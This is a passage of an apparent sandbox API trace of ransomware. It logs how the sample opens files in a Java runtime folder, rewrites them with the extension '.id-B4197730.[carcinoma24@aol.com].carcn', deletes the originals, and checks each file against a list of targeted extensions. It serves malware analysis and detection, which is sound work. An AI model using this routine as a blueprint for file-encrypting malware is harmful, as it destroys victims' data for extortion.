files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0304.196] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0304.196] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.196] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.196] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0304.196] GetLastError () returned 0x0 [0304.196] ReadFile (in: hFile=0x37c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0xca750, lpOverlapped=0x0) returned 1 [0304.250] WriteFile (in: hFile=0x334, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xca760, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xca760, lpOverlapped=0x0) returned 1 [0304.291] ReadFile (in: hFile=0x37c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0304.291] WriteFile (in: hFile=0x334, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0304.291] SetEndOfFile (hFile=0x334) returned 1 [0304.434] CloseHandle (hObject=0x334) returned 1 [0304.434] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.434] SetEndOfFile (hFile=0x37c) returned 1 [0304.442] CloseHandle (hObject=0x37c) returned 1 [0304.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0304.442] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll")) returned 1 [0304.443] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0304.443] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0304.443] lstrlenW (lpString=".doc") returned 4 [0304.443] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0304.443] lstrlenW (lpString=".docx") returned 5 [0304.443] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0304.443] lstrlenW (lpString=".pdf") returned 4 [0304.443] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0304.443] lstrlenW (lpString=".xls") returned 4 [0304.443] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0304.443] lstrlenW (lpString=".xlsx") returned 5 [0304.443] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0304.443] lstrlenW (lpString=".ppt") returned 4 [0304.443] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0304.443] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0304.443] lstrlenW (lpString=".zip") returned 4 [0304.443] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0304.443] lstrlenW (lpString=".rar") returned 4 [0304.443] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0304.443] lstrlenW (lpString=".bz2") returned 4 [0304.444] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0304.444] lstrlenW (lpString=".7z") returned 3 [0304.444] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0304.444] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0304.444] lstrlenW (lpString=".dbf") returned 4 [0304.444] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0304.444] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0304.444] lstrlenW (lpString=".1cd") returned 4 [0304.444] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0304.444] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0304.444] lstrlenW (lpString=".jpg") returned 4 [0304.444] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0304.444] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0304.444] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0304.444] lstrlenW (lpString=".doc") returned 4 [0304.444] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0304.444] lstrlenW (lpString=".docx") returned 5 [0304.444] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0304.444] lstrlenW (lpString=".pdf") returned 4 [0304.444] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0304.444] lstrlenW (lpString=".xls") returned 4 [0304.444] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0304.444] lstrlenW (lpString=".xlsx") returned 5 [0304.444] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0304.444] lstrlenW (lpString=".ppt") returned 4 [0304.444] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0304.444] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0304.444] lstrlenW (lpString=".zip") returned 4 [0304.445] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0304.445] lstrlenW (lpString=".rar") returned 4 [0304.445] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0304.445] lstrlenW (lpString=".bz2") returned 4 [0304.445] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0304.445] lstrlenW (lpString=".7z") returned 3 [0304.445] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0304.445] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0304.445] lstrlenW (lpString=".dbf") returned 4 [0304.445] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0304.446] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0304.446] lstrlenW (lpString=".1cd") returned 4 [0304.487] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0304.487] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll") returned 59 [0304.487] lstrlenW (lpString=".jpg") returned 4 [0304.487] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0304.487] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0304.487] lstrlenW (lpString="prism_sw.dll") returned 12 [0304.487] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0304.488] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=97856) returned 1 [0304.488] CloseHandle (hObject=0x37c) returned 1 [0304.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll")) returned 0x20 [0304.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0304.489] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0304.489] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.489] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.489] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0304.489] GetLastError () returned 0x0 [0304.490] ReadFile (in: hFile=0x37c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x17e40, lpOverlapped=0x0) returned 1 [0304.513] WriteFile (in: hFile=0x334, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x17e50, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x17e50, lpOverlapped=0x0) returned 1 [0304.515] ReadFile (in: hFile=0x37c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0304.515] WriteFile (in: hFile=0x334, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0304.515] SetEndOfFile (hFile=0x334) returned 1 [0304.515] CloseHandle (hObject=0x334) returned 1 [0304.516] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.516] SetEndOfFile (hFile=0x37c) returned 1 [0304.517] CloseHandle (hObject=0x37c) returned 1 [0304.517] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0304.517] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll")) returned 1 [0304.518] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0304.518] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0304.518] lstrlenW (lpString=".doc") returned 4 [0304.518] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0304.518] lstrlenW (lpString=".docx") returned 5 [0304.518] lstrcmpiW (lpString1=".docx", lpString2="w.dll") returned -1 [0304.518] lstrlenW (lpString=".pdf") returned 4 [0304.518] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0304.518] lstrlenW (lpString=".xls") returned 4 [0304.518] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0304.518] lstrlenW (lpString=".xlsx") returned 5 [0304.518] lstrcmpiW (lpString1=".xlsx", lpString2="w.dll") returned -1 [0304.518] lstrlenW (lpString=".ppt") returned 4 [0304.518] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0304.518] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0304.518] lstrlenW (lpString=".zip") returned 4 [0304.518] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0304.518] lstrlenW (lpString=".rar") returned 4 [0304.518] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0304.518] lstrlenW (lpString=".bz2") returned 4 [0304.518] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0304.518] lstrlenW (lpString=".7z") returned 3 [0304.518] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0304.518] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0304.518] lstrlenW (lpString=".dbf") returned 4 [0304.518] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0304.519] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0304.519] lstrlenW (lpString=".1cd") returned 4 [0304.519] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0304.519] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0304.519] lstrlenW (lpString=".jpg") returned 4 [0304.519] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0304.519] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0304.519] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0304.519] lstrlenW (lpString=".doc") returned 4 [0304.519] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0304.519] lstrlenW (lpString=".docx") returned 5 [0304.519] lstrcmpiW (lpString1=".docx", lpString2="w.dll") returned -1 [0304.519] lstrlenW (lpString=".pdf") returned 4 [0304.519] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0304.519] lstrlenW (lpString=".xls") returned 4 [0304.519] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0304.519] lstrlenW (lpString=".xlsx") returned 5 [0304.519] lstrcmpiW (lpString1=".xlsx", lpString2="w.dll") returned -1 [0304.519] lstrlenW (lpString=".ppt") returned 4 [0304.519] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0304.519] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0304.519] lstrlenW (lpString=".zip") returned 4 [0304.519] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0304.519] lstrlenW (lpString=".rar") returned 4 [0304.519] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0304.519] lstrlenW (lpString=".bz2") returned 4 [0304.519] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0304.520] lstrlenW (lpString=".7z") returned 3 [0304.520] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0304.520] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0304.520] lstrlenW (lpString=".dbf") returned 4 [0304.520] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0304.520] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0304.520] lstrlenW (lpString=".1cd") returned 4 [0304.520] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0304.520] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll") returned 51 [0304.520] lstrlenW (lpString=".jpg") returned 4 [0304.520] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0304.520] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0304.520] lstrlenW (lpString="resource.dll") returned 12 [0304.520] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0304.521] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=15424) returned 1 [0304.521] CloseHandle (hObject=0x37c) returned 1 [0304.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll")) returned 0x20 [0304.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0304.521] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0304.521] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.521] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.521] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0304.522] GetLastError () returned 0x0 [0304.522] ReadFile (in: hFile=0x37c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x3c40, lpOverlapped=0x0) returned 1 [0304.530] WriteFile (in: hFile=0x334, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x3c50, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x3c50, lpOverlapped=0x0) returned 1 [0304.531] ReadFile (in: hFile=0x37c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0304.531] WriteFile (in: hFile=0x334, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0304.531] SetEndOfFile (hFile=0x334) returned 1 [0304.531] CloseHandle (hObject=0x334) returned 1 [0304.531] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.531] SetEndOfFile (hFile=0x37c) returned 1 [0304.533] CloseHandle (hObject=0x37c) returned 1 [0304.533] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0304.533] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll")) returned 1 [0304.533] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0304.533] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0304.533] lstrlenW (lpString=".doc") returned 4 [0304.533] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0304.533] lstrlenW (lpString=".docx") returned 5 [0304.533] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0304.533] lstrlenW (lpString=".pdf") returned 4 [0304.533] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0304.533] lstrlenW (lpString=".xls") returned 4 [0304.533] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0304.533] lstrlenW (lpString=".xlsx") returned 5 [0304.533] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0304.534] lstrlenW (lpString=".ppt") returned 4 [0304.534] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0304.534] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0304.534] lstrlenW (lpString=".zip") returned 4 [0304.534] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0304.534] lstrlenW (lpString=".rar") returned 4 [0304.534] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0304.534] lstrlenW (lpString=".bz2") returned 4 [0304.534] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0304.534] lstrlenW (lpString=".7z") returned 3 [0304.534] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0304.534] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0304.534] lstrlenW (lpString=".dbf") returned 4 [0304.534] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0304.534] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0304.534] lstrlenW (lpString=".1cd") returned 4 [0304.534] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0304.534] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0304.534] lstrlenW (lpString=".jpg") returned 4 [0304.534] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0304.534] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0304.534] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0304.534] lstrlenW (lpString=".doc") returned 4 [0304.534] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0304.534] lstrlenW (lpString=".docx") returned 5 [0304.534] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0304.534] lstrlenW (lpString=".pdf") returned 4 [0304.535] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0304.535] lstrlenW (lpString=".xls") returned 4 [0304.535] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0304.535] lstrlenW (lpString=".xlsx") returned 5 [0304.535] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0304.535] lstrlenW (lpString=".ppt") returned 4 [0304.535] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0304.535] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0304.535] lstrlenW (lpString=".zip") returned 4 [0304.535] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0304.535] lstrlenW (lpString=".rar") returned 4 [0304.535] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0304.535] lstrlenW (lpString=".bz2") returned 4 [0304.535] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0304.535] lstrlenW (lpString=".7z") returned 3 [0304.535] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0304.535] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0304.535] lstrlenW (lpString=".dbf") returned 4 [0304.535] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0304.535] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0304.535] lstrlenW (lpString=".1cd") returned 4 [0304.535] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0304.535] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll") returned 51 [0304.535] lstrlenW (lpString=".jpg") returned 4 [0304.535] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0304.536] lstrcmpiW (lpString1=".exe", lpString2=".carcn") returned 1 [0304.536] lstrlenW (lpString="rmid.exe") returned 8 [0304.536] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0304.536] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=15936) returned 1 [0304.536] CloseHandle (hObject=0x37c) returned 1 [0304.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe")) returned 0x20 [0304.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0304.537] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0304.537] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.537] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.537] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0304.538] GetLastError () returned 0x0 [0304.538] ReadFile (in: hFile=0x37c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x3e40, lpOverlapped=0x0) returned 1 [0304.545] WriteFile (in: hFile=0x334, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x3e50, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, 